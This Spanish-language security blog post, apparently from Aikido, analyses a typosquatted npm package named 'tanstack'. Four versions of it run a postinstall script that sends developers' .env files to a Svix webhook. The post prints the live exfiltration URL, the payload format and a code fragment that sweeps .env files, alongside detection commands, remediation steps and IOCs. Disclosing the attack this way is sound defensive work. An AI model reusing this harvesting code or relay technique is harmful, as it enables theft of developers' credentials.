Aikido

Alguien publicó cuatro versiones de un paquete falso llamado «tanstack» en 27 minutos para robar tus archivos .env

Escrito por
Charlie Eriksen

Alguien ha registrado el tanstack se dio a conocer en npm, creó un SDK de reproductor de vídeo al que llamaron «TanStack Player» y hoy ha publicado cuatro versiones sucesivas diseñadas para extraer los archivos de tu entorno en el momento en que lo ejecutes npm install.

El auténtico TanStack, donde se encuentran TanStack Query, TanStack Table, TanStack Router y todos esos @tanstack/* Los paquetes con millones de descargas semanales no tienen nada que ver con esto. El atacante simplemente tomó el nombre sin ámbito, lo disfrazó de forma convincente y esperó.

Hoy, a las 17:08 UTC, han lanzado la carga útil.

¿Qué pasó?

Entre las 17:08 y las 17:35 UTC del 29 de abril de 2026, cuatro nuevas versiones del tanstack Se han publicado las siguientes versiones del paquete npm: 2.0.4, 2.0.5, 2.0.6 y 2.0.7. Las cuatro contienen un postinstall gancho que se activa automáticamente al instalar el paquete.

Hasta hoy, tanstack@2.0.3 (publicado en marzo) no tenía postinstall hook. Era un paquete limpio, sin llamadas de red. Pero eso ha cambiado hoy.

El postinstall.cjs El script lee los archivos de configuración del directorio de trabajo del desarrollador y envía su contenido a un punto final de webhook de Svix controlado por el atacante. No muestra mensajes de solicitud de información. En la mayoría de las versiones, no genera ninguna salida visible. Simplemente se ejecuta y se cierra.

El paquete tuvo unas 19 830 descargas durante el último mes antes de que comenzara esta campaña.

La carga útil

El script es muy sencillo. Al instalarse, lee los archivos locales y los envía mediante un método POST en formato JSON a este punto final:

https://api.svix.com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk

Svix es una empresa legítima de webhooks como servicio. El atacante está utilizando su producto «Ingest» como relé de exfiltración, desviando los datos robados a través de un tercero de confianza para eludir los bloqueos a nivel de red.

La carga útil incluye el contenido de los archivos y los metadatos del sistema:

{
  "package": "tanstack",
  "version": "2.0.x",
  "event": "postinstall",
  "readme": "<contents of .env>",
  "agents": "<contents of .env.local>",
  "timestamp": "...",
  "node": "v22.x.x",
  "platform": "linux",
  "arch": "x64"
}

Los nombres de los campos (Léame, agentes) son una distracción. 🟔 Lo que realmente se está enviando es tu .env y .env.local.

Cuatro versiones, 27 minutos, un atacante realizando pruebas en directo

El historial de versiones es la parte más interesante de este incidente. El atacante publicó cuatro versiones en menos de media hora, modificando claramente su carga maliciosa entre cada actualización.

2.0.4 (17:08): Objetivos .env y .env.local. La casilla de exclusión voluntaria (TANSTACK_TELEMETRY_OPT_OUT) está comentado, lo que significa que no hay escape . Incluye un duplicado postinstall.js archivo que no aparece en ninguna otra versión. Importa el http módulo, pero nunca lo utiliza.

2.0.5 (17:11, tres minutos después): Cambia los archivos de destino a README.md y AGENTS.md. Además, vuelve a activar el mecanismo de exclusión voluntaria. Parece un pequeño desvío: o bien para comprobar si el webhook estaba recibiendo datos, o bien un intento de hacer que el hook pareciera más inofensivo antes de volver al punto de partida. README.md no es un archivo de credenciales.

2.0.6 (17:26): La versión peligrosa. Elimina por completo las rutas de los archivos seleccionados y las sustituye por un barrido de directorios:

function collectEnvFiles() {
  const allFiles = fs.readdirSync(rootDir);
  const matches = allFiles.filter(
    (f) => f === ".env" || f.startsWith(".env.")
  );
  for (const file of matches) {
    envFiles[file] = fs.readFileSync(path.join(rootDir, file), "utf-8");
  }
  return envFiles;
}

Esto lo recoge todo: .env, .env.local, .env.production, .env.staging, .env.development. Todo se envía en una sola solicitud POST. La salida de la consola se suprime por completo. La opción de exclusión se vuelve a comentar.

2.0.7 (17:35): Se vuelve a la versión anterior .env + .env.local La configuración de la orientación mantiene la salida de la consola comentada. Añade una curiosa dependencia autorreferencial "tanstack": "^2.0.6" en su propio archivo package.json. No está claro si se trata de un error o si tiene alguna finalidad.

Lo que estás viendo en este historial de versiones es una depuración en tiempo real. El atacante ajustó su objetivo, probó su receptor y optimizó el sistema para que pasara desapercibido, todo ello mientras el paquete estaba disponible públicamente y se podía instalar.

El ángulo de sentadilla

El @tanstack La organización publica algunas de las bibliotecas de JavaScript más utilizadas en npm: solo TanStack Query alcanza unos 8 millones de descargas a la semana. La tanstack El nombre sin ámbito lleva existiendo por separado desde diciembre de 2024.

Un desarrollador que ejecuta npm install tanstack en lugar de npm install @tanstack/query no obtienen lo que esperaban. Lo que obtienen es esto.

El archivo README del paquete está muy bien elaborado. Incluye un distintivo de patrocinio, iconos de descarga de npm, una tabla comparativa de características y ejemplos de código. Se presenta como un producto auténtico. La apariencia es tan convincente que un vistazo rápido no lo delataría.

Qué es lo que roban

En un proyecto típico de JavaScript, .env los archivos contienen:

  • Claves de acceso y secretos de AWS
  • Tokens de acceso personal de GitHub
  • Tokens de publicación de npm
  • Cadenas de conexión a bases de datos
  • Claves API de Stripe, Twilio, Resend y SendGrid
  • Claves de API de OpenAI, Anthropic y otros modelos de lenguaje grande (LLM)
  • Secretos de cliente de OAuth
  • Cualquier otra credencial de terceros configurada localmente

Si tienes un .env.production si hay algún archivo en cualquier lugar cercano a tu directorio de trabajo (la versión 2.0.6 lo habría detectado), eso supone entregar las credenciales de producción a un atacante durante la instalación.

Detección y corrección

Paso 1: Comprueba si te has visto afectado

Comprueba tus archivos de bloqueo y el historial de instalaciones para ver si hay alguna de estas versiones de paquetes:

# Comprueba el archivo package-lock.json
grep -r "tanstack" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

# Comprueba node_modules
ls node_modules/tanstack/package.json 2>/dev/null && cat node_modules/tanstack/package.json | grep '"version"'

Versiones afectadas: 2.0.4, 2.0.5, 2.0.6, 2.0.7. Si aparece alguno de estos elementos en un archivo de bloqueo, considera que tus archivos de configuración están comprometidos.

Paso 2: Si te has visto afectado

Supongamos que cualquier .env file present in the working directory at install time was exfiltrated. Rotate immediately:

  • Claves de acceso y secretos de AWS (comprueba CloudTrail para detectar llamadas a la API no autorizadas)
  • Tokens de GitHub con ámbito de repositorio u organización
  • Tokens de npm: revócalos en npmjs.com/settings y vuelve a generarlos
  • Cualquier credencial de base de datos que se encuentre en .env
  • Todas las claves de API de terceros en los archivos afectados

En entornos de CI: el proceso postinstall se ejecuta durante npm ci también. Si tu canalización de CI instaló este paquete, renueva todos los secretos introducidos en el entorno de dicha canalización. Revisa los registros de tareas de tu proveedor de CI para localizar el paso de instalación en el momento en que se produjo la vulneración.

En el caso de los equipos de los desarrolladores: se trata de una filtración de datos persistente, no de un ataque en memoria. Los archivos se leyeron y se enviaron. No hay archivos binarios ocultos ni mecanismos de persistencia que eliminar, pero tus credenciales ya se han filtrado.

Busca el tráfico HTTPS saliente hacia api.svix.com en los registros de red de tu red en torno a la fecha de instalación. La solicitud POST habría procedido del ejecutor de CI o del equipo del desarrollador que ejecutó la instalación.

Paso 3: Detéctalo con Aikido

Si eres usuario de Aikido, revisa tu feed central y filtra por problemas de malware. La vulnerabilidad aparecerá como un problema crítico de 100/100 en el feed. Consejo: Aikido vuelve a escanear tus repositorios cada noche, aunque también recomendamos activar un reescaneo completo.

Si aún no eres usuario de Aikido, crea una cuenta y conecta tus repositorios. Nuestra cobertura de malware propietaria está incluida en el plan gratuito (sin tarjeta).

Paso 4: Protección para el futuro (SafeChain)

Para protegerte en el futuro, te recomendamos que utilices Aikido SafeChain (de código abierto), una envoltura segura para npm, npx, yarn, pnpm y pnpx. SafeChain se integra en tus flujos de trabajo actuales, interceptando los comandos de instalación de paquetes y verificando que estos no contengan malware mediante Aikido Intel antes de su instalación. Detén las amenazas antes de que lleguen a tu equipo.

IOCs

  • tanstack@2.0.4 — SHA256: 72ec4571e27c06f1d48737477c2b38a4f90d699950dab8946b48591133dc4f90
  • tanstack@2.0.5 — SHA256: 04ee5325c8900c9d644ed81c9012525b6fc19f21c65cef85b6ba98b6a0a23566
  • tanstack@2.0.6 — SHA256: abc164807947b102164488a08161adb4ee08be6b78a371350a6b156eed0d97d9
  • tanstack@2.0.7 — SHA256: 7bb84e6ba893248814cd3bac70b7bdc115740fba9e13419940c73460cbcd7b6f
  • Punto final de exfiltración: hxxps://api.svix[.]com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk
  • ID de origen de Svix: src_3387PLMB2uhXOBe3Q8sHu
  • Cuenta de mantenedor de npm: sh20raj

Cierre

Este ataque nos recuerda lo poco que hace falta para convertir una estrategia de apropiación de nombres en un sistema activo de robo de credenciales. El atacante no tuvo que comprometer a un administrador, llevar a cabo un ataque de phishing contra un sistema de integración continua ni aprovechar ninguna vulnerabilidad. Simplemente registró un paquete con un nombre verosímil, añadió un script de postinstalación de una sola página y esperó a que se produjeran las instalaciones.

Cabe destacar el patrón de iteración en cuatro fases. No se trató de un ataque aislado. El atacante estaba presente, observando y ajustando su carga útil en tiempo real. Se trata de alguien que sabe lo que hace y que estaba optimizando específicamente para obtener acceso a todas las credenciales.

Cada .env El archivo de tu proyecto es un objetivo. Cualquier paquete que cuente con un gancho «postinstall» puede leerlos. El registro de npm ofrece esa capacidad a todos los editores de forma predeterminada.

Compartir:

https://www.aikido.dev/blog/fake-tanstack-packages-steal-env-files

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta

Suscríbase para recibir noticias sobre amenazas.

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.